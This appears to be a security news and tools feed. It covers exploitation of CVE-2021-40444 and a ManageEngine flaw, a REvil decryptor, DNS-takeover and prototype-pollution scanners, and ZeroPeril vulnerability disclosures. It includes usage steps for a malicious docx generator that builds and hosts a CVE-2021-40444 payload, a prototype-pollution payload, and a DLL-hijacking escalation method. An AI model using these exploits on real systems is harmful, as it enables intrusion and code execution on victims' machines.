The exploitation of the CVE-2021-40539 flaw poses a serious risk to organizations such as critical infrastructure companies and U.S.-cleared defense contractors.

Once compromised ManageEngine ADSelfService Plus, the attackers uploaded a zip archive containing a JavaServer Pages (JSP) webshell masquerading as an x509 certificate.

“Subsequent requests are then made to different API endpoints to further exploit the victim’s system.” continues the alert. “After the initial exploitation, the JSP webshell is accessible at /help/admin-guide/Reports/ReportGenerate.jsp. The attacker then attempts to move laterally using Windows Management Instrumentation (WMI), gain access to a domain controller, dump NTDS.dit and SECURITY/SYSTEM registry hives, and then, from there, continues the compromised access.”

FBI, CISA, and CGCYBER urge organizations to immediately update their installs.

“Additionally, FBI, CISA, and CGCYBER strongly recommend domain-wide password resets and double Kerberos Ticket Granting Ticket (TGT) password resets if any indication is found that the NTDS.dit file was compromised.” concludes the alert. Impacted organizations should Immediately report as an incident to CISA or the FBI  the existence of any of the following:

• Identification of indicators of compromise as outlined above.
• Presence of webshell code on compromised ManageEngine ADSelfService Plus servers.
• Unauthorized access to or use of accounts.
• Evidence of lateral movement by malicious actors with access to compromised systems.
• Other indicators of unauthorized access or compromise.”

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, Zoho)

The post FBI, CISA, and CGCYBER warn of nation-state actors exploiting CVE-2021-40539 Zoho bug appeared first on Security Affairs.

A fast tool to check missing hosted DNS zones that can lead to subdomain takeover.

DNS takeover vulnerabilities occur when a subdomain (subdomain.example.com) or domain has its authoritative nameserver set to a provider (e.g. AWS Route 53, Akamai, Microsoft Azure, etc.) but the hosted zone has been removed or deleted. Consequently, when making a request for DNS records the server responds with a SERVFAIL error. This allo ws an attacker to create the missing hosted zone on the service that was being used and thus control all DNS records for that (sub)domain.¹

The ez way! You can download a pre-built binary from releases page, just unpack and run!

Very quick & clean!

▶ go install github.com/pwnesia/dnstake/cmd/[email protected]

Manual building executable from source code:

▶ git clone https://github.com/pwnesia/dnstake
▶ cd dnstake/cmd/dnstake
▶ go build .
▶ (sudo) mv dnstake /usr/local/bin

$ dnstake -h

  ·▄▄▄▄   ▐ ▄ .▄▄ ·▄▄▄▄▄ ▄▄▄· ▄ •▄ ▄▄▄ .
  ██▪ ██ •█▌▐█▐█ ▀.•██  ▐█ ▀█ █▌▄▌▪▀▄.▀·
  ▐█· ▐█▌▐█▐▐▌▄▀▀▀█▄▐█.▪▄█▀▀█ ▐▀▀▄·▐▀▀▪▄
  ██. ██ ██▐█▌▐█▄▪▐█▐█▌·▐█ ▪▐▌▐█.█▌▐█▄▄▌
  ▀▀▀▀▀• ▀&#9600   ; █▪ ▀▀▀▀ ▀▀▀  ▀  ▀ ·▀  ▀ ▀▀▀

        (c) pwnesia.org — v0.0.1

Usage:
  [stdin] | dnstake [options]
  dnstake -t HOSTNAME [options]

Options:
  -t, --target <HOST/FILE>    Define single target host/list to check
  -c, --concurrent <i>        Set the concurrency level (default: 25)
  -s, --silent                Suppress errors and/or clean output
  -h, --help                  Display its help

Examples:
  dnstake -t (sub.)domain.tld
  dnstake -t hosts.txt
  cat hosts.txt | dnstake
  subfinder -silent -d domain.tld | dnstake

DNSTake use RetryableDNS client library to send DNS queries. Initial engagement using Google & Cloudflare DNS as the resolver, then check & fingerprinting the nameservers of target host — if there is one, it will resolving the target host again with its nameserver IPs as resolver, if it gets weird DNS status response (other than NOERROR/NXDOMAIN), then it's vulnerable to be taken over. More or less like this in form of a diagram.

Currently supported DNS providers, see here.

• [1] https://github.com/indianajson/can-i-take-over-dns#what-is-a-dns-takeover
• https://0xpatrik.com/subdomain-takeover-ns/

DNSTake is distributed under MIT. See LICENSE.

Microsoft revealed that multiple threat actors are exploiting the recently patched Windows MSHTML remote code execution security flaw (CVE-2021-40444).

Microsoft warns of multiple threat actors, including ransomware operators, that are exploiting the recently patched Windows MSHTML remote code execution security flaw (CVE-2021-40444) in attacks against organizations.

The IT giant says that threat actors started targeting this issue on August 18, before Microsoft shared mitigation for a this vulnerability, threat actors used weaponized Office documents. The campaigns observed August 2021 likely employed emails impersonating contracts and legal agreements, the messages used documents that were hosted on file-sharing sites. 

“In August, Microsoft Threat Intelligence Center (MSTIC) identified a small number of attacks (less than 10) that attempted to exploit a remote code execution vulnerability in MSHTML using specially crafted Microsoft Office documents. These attacks used the vulnerability, tracked as CVE-2021-40444, as part of an initial access campaign that distributed custom Cobalt Strike Beacon loaders.” reads the post published by Microsoft. “These loaders communicated with an infrastructure that Microsoft associates with multiple cybercriminal campaigns, including human-operated ransomware.”

Experts noticed that loaders employed in the attacks connected with the C2 infrastructure connected with several cybercrime campaigns, including ransomware operators.

MSTIC researchers track a large cluster of malicious activity involving Cobalt Strike infrastructure under the name DEV-0365, which has many similarities with another Cobalt Strike infrastructure that suggest it was managed by a third-party threat actor. 

“Additionally, some of the infrastructure that hosted the oleObjects utilized in the August 2021 attacks abusing CVE-2021-40444 were also involved in the delivery of BazaLoader and Trickbot payloads — activity that overlaps with a group Microsoft tracks as DEV-0193. DEV-0193 activities overlap with actions tracked by Mandiant as UNC1878.” continues the report. “Due to the uncertainty surrounding the nature of the shared qualities of DEV-0365 infrastructure and the significant variation in malicious activity, MSTIC clustered the initial email campaign exploitation identified as CVE-2021-40444 activity separately, under DEV-0413.”

On September 7, 2021, Microsoft shared a partial workaround for the flaw, and only in 24 hours they observed a rise in exploitation attempts within.

Microsoft continues to monitor the evolution of the attacks in the wild and urges customers to apply the September 2021 Patch Tuesday security updates to prevent the exploitation of CVE-2021-40444.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, ransomware)

Researchers from Bitdefender released a free master decryptor for the REvil ransomware operation that allows past victims to recover their files for free.

Good news for the victims of REvil ransomware gangs that were infected before the operations were temporarily halted on July 13th, Bitdefender released a free master decryptor that allows them to recover their files for free.

On July 2, the REvil gang hit the Kaseya cloud-based MSP platform impacting MSPs and their customers.

The REvil ransomware operators initially compromised the Kaseya VSA’s infrastructure, then pushed out malicious updates for VSA on-premise servers to deploy ransomware on enterprise networks.

The group asked $70 million worth of Bitcoin for decrypting all systems impacted in the Kaseya supply-chain ransomware attack.

The attack caught the attention of the media and the police authorities that increased pressure on the group.

Starting from July 13, the infrastructure and the websites used by the REvil ransomware gang were mysteriously unreachable. The Tor leak site, the payment website “decoder[.]re”, and their backend infrastructure went offline simultaneously.

Bitdefender developed the decryptor with the help of a law enforcement partner that provided the company decryption keys.

“Bitdefender announced the availability of a universal decryptor for REvil/Sodinokibi. Created in collaboration with a trusted law enforcement partner, this tool helps victims encrypted by REvil ransomware to restore their files and recover from attacks made before July 13, 2021.” reads the announcement published by Bitdefender. “We believe new REvil attacks are imminent after the ransomware gang’s servers and supporting infrastructure recently came back online after a two month hiatus.”

The security firm did not provide additional details because there is an ongoing investigation, it also warns of imminent attacks by the REvil gang.

The victims of the group can download the decryptor from Bitdefender for free to recover their encrypted files, the security firm also published a step-by-step tutorial on how to use the REvil decryption tool.

The REvil ransomware group has been active since 2019, it targeted several high profile organizations, including Coop, JBS, and Travelex.

On September 7, the servers of the REvil ransomware gang were back online after around two months since their shutdown. The circumstance was immediately noted by many researchers, me too. The dark web leak site of the ransomware gang, also known as the Happy Blog, is back online, while the site decoder[.]re is still offline at the time of this writing.

It was not clear if the REvil gang resumed its operations or if the servers were turned on by law enforcement.

Now we can confirm that the REvil ransomware gang has fully resumed its operations, the group is targeting news victims and leaking stolen files.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, REvil ransomware)

The post Bitdefender released free REvil ransomware decryptor that works for past victims appeared first on Security Affairs.

Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)

Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)

You need to install lcab first (sudo apt-get install lcab)

Check REPRODUCE.md for manual reproduce steps

If your generated cab is not working, try pointing out exploit.html URL to calc.cab

First generate a malicious docx document given a DLL, you can use the one at test/calc.dll which just pops a calc.exe from a call to system()

python3 exploit.py generate test/calc.dll http://<SRV IP>

Once you generate the malicious docx (will be at out/) you can setup the server:

sudo python3 exploit.py host 80

Finally try the docx in a Windows Virtual Machine:

Plution is a convenient way to scan at scale for pages that are vulnerable to client side prototype pollution via a URL payload. In the default configuration, it will use a hardcoded payload that can detect 11 of the cases documented here: https://github.com/BlackFan/client-side-prototype-pollution/tree/master/pp

This is not a one stop shop. Prototype pollution is a complicated beast. This tool does nothing you couldn't do manually. This is not a polished bug-free super tool. It is functional but poorly coded and to be considered alpha at best.

Plution appends a payload to supplied URLs, naviguates to each URL with headless chrome and runs javascript on the page to verify if a prototype was successfully polluted.

• Basic scan, output only to screen:
  cat URLs.txt | plution

• Scan with a supplied payload rather than hardcoded one:
  cat URLs.txt|plution -p '__proto__.zzzc=example'
  Note on custom payloads: The variable you are hoping to inject must be called or render to "zzzc". This is because 'window.zzzc' will be run on each page to verify pollution.

• Output:
  Passing '-o' followed by a location will output only URLs of pages that were successfully polluted.

• Concurrency:
  

• Pass the '-c' option to specify how many concurrent jobs are run (default is 5)

• How do I install it?
  go get -u github.com/raverrr/plution

• why specifically limit it to checking if window.zzzc is defined?
  zzzc is a short pattern that is unlikely to already be in a prototype. If you want more freedom in regards to the javascript use https://github.com/detectify/page-fetch instead

• Got a more specific question?
  Ask me on twitter @divadbate.

AMD Chipset Driver Information Disclosure Vulnerability

We recently discovered a critical information disclosure vulnerability that affected the AMD Platform Security Processor (PSP) chipset driver for multiple CPU architectures.

The vulnerability allowed non-privileged users to read uninitialised physical memory pages, where the original data was either moved or paged out.

The complete report can be downloaded here.

The official advisory by AMD can be found here.

Please note that the list of affected products may not be complete, as we were able to verify this vulnerability in two different systems using Ryzen 2000 and 3000 series CPUs, which are not currently listed in the AMD advisory.

Latest Ryzen 5000 series CPUs chipset driver for PSP was not tested, but it is recommended that you update to the latest version.

At the time of writing the latest chipset drivers for the affected CPU architectures, can be found here.

Disclosure Timeline

• Vendor Contacted: 08/04/2021
• Vendor Replied: 09/04/2021
• Vendor Acknowledged: 12/5/2021
• Public Disclosure: 14/09/2021

The post CVE-2021-26333 appeared first on ZeroPeril Blog.

Another local privilege escalation vulnerability in Cisco AMP, Immunet & ClamAV

If you have been following our blog you will know that Zeroperil recently found a local privilege escalation vulnerability affecting Cisco AMP and Immunet; CVE-2021-1280. At the same time we also found a secondary vulnerability affecting Cisco AMP and Immunet, resulting in local privilege escalation which is detailed in this post.

Disclosure was coordinated with Cisco in order to allow the issue to be fixed before being made public.

CVE-2021-1386 is very similar to CVE-2021-1280 in that it again involves SFC.exe which is a system service loading a DLL, and also involves freshclam.exe.

Using the ProcMon tool from Microsoft SysInternals we were able to see that the SFC.exe service attempts to load the DLL libclamunrar_iface.dll.9.0.4 and searches for this DLL in each directory contained within the system PATH environment variable.

Using ProcMon we could also see that freshclam.exe (which is periodically executed by the system service SFC.exe) also attempts to load libclamunrar_iface.dll.9.0.4 from each directory contained within the system PATH environment variable.

In order to exploit this vulnerability, an attacker would need to be able to write a DLL into one of the system PATH locations. This isn’t as difficult as you may think, during our time on Red Team engagements we have often seen misconfigured directory permissions on directories that are in the PATH environment.

For example Python 2.7 by default has a world writable installation directory, and the installer often adds the installation directory to the PATH environment variable.

In the image below, the vulnerability is being exploited using a default installation of Python 2.7, signified by the SUCCESS output in ProcMon as the malicious dll is successfully loaded from the C:\Python27\ directory.

Using this technique it was possible for a standard low privileged user to obtain SYSTEM privileges:

Conclusion

In order to mitigate vulnerabilities and attacks like this, it is essential that you ensure the system PATH environment variable does not contain writable paths, something that every enterprise should check after installing new software.

Software vendors should run tools such as ProcMon as part of their quality assurance pipeline, in order to detect this kind of vulnerability.

Affected Products

• Cisco AMP for Endpoints Windows Connector
• ClamAV for Windows
• Immunet

Timeline

Initial discovery: 10/12/2020
Reported: 10/12/2020
Vendor replied: 11/12/2020
Issue acknowledged: 14/12/2020
Disclosed: 07/04/2021

The Cisco disclosure of this issue can be found here.

The post CVE-2021-1386 appeared first on ZeroPeril Blog.

We have updated our coordinated disclosure policy document.

TL; DR

Public disclosure will generally occur within a 90 days time frame of first notifying the vendor of an issue.

There are a few caveats to this, such as situations where the vendor fails to respond.

Please read the full disclosure policy document for more information.

The post Coordinated Disclosure Policy appeared first on ZeroPeril Blog.